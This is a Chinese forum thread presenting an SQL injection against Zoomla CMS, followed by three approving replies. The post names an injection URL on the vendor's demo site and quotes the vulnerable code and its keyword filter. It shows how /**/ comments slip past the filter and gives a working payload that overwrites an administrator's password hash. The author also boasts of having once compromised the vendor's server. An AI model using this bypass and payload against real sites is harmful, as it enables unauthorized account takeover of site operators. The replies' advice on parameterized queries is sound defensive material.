逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)
显示不全请点击全屏阅读绕过了那个很简单的防注入。直接可以update管理员密码。
注入点:
http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx
页面的按钮点击事件:
protected void Btn_Click调用了b_Arrive.UpdateState(text);
public bool UpdateState(string ArriveNo)
{
string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'";///果断注入
return SqlHelper.ExecuteSql(sqlStr);
}
Page_Load方法里面有调用到了一个函数:
DataSecurity.StartProcessRequest();
上面这个函数具体是这样的:
public static void StartProcessRequest()
{
try
{
if (HttpContext.Current.Request.QueryString != null)
{
for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)
{
string getkeys = HttpContext.Current.Request.QueryString.Keys;
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
if (HttpContext.Current.Request.Form != null)
{
for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)
{
string getkeys = HttpContext.Current.Request.Form.Keys;
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
}
……
}里面还调用到一个DataSecurity.ProcessSqlStr
public static bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
Str = Str.ToLower();
try
{
if (Str != "")
{
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
string[] anySqlStr = SqlStr.Split(new char[]
{
'|'
});
string[] array = anySqlStr;
for (int i = 0; i < array.Length; i++)
{
string ss = array;
if (Str.IndexOf(ss) >= 0)
{
ReturnValue = false;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
对于变量
string SqlStr = “and |exec |insert |select |delete |update |count |chr |mid
|master |truncate |char |declare “;
里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:
在页面正常输入东西:
image019.png
提交的时候截断一下,改下优惠券编号的代码,如下:
1′;update/**/zl_manager set
adminpassword=’c4ca4238a0b923820dcc509a6f75849b’ where
adminname=’testuser’–执行前管理密码是这样的:
表明注入成功。
作者:wefgod :lol这个逐浪之前我拿到过他的服务器
Re: 逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)
这个漏洞分析得很到位,那个防注入逻辑只做了简单关键词匹配,用注释符/**/就能轻松绕过update等关键字,确实不安全。直接修改管理员密码的利用方式也很典型,这种通用型CMS的漏洞影响面不小。感谢分享,这提醒我们在开发防注入时要更严谨,比如用参数化查询或者更完善的过滤机制。Re: 逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)
这个漏洞分析得很清楚,关键是那个简单的关键词过滤没考虑注释符和编码绕过,用 `/**/` 就能直接绕过 `update` 的检测。这种黑名单过滤方式确实不够安全,建议开发方改用参数化查询或者更严谨的过滤机制。另外,你演示的修改管理员密码的 payload 也很直接,方便测试但也要注意不要非法利用。感谢分享,给其他站长提了个醒。Re: 逐浪CMS通用型SQL注入漏洞分析与利用(asp.net)
感谢分享,分析得很清楚。这个防注入只做了简单的关键词匹配,用注释符 `/**/` 绕过确实是个有效思路,而且直接就能 update 管理员密码,危害很大。建议官方尽快修复,把参数化查询加上,或者改用更严格的过滤方式。
页:
[1]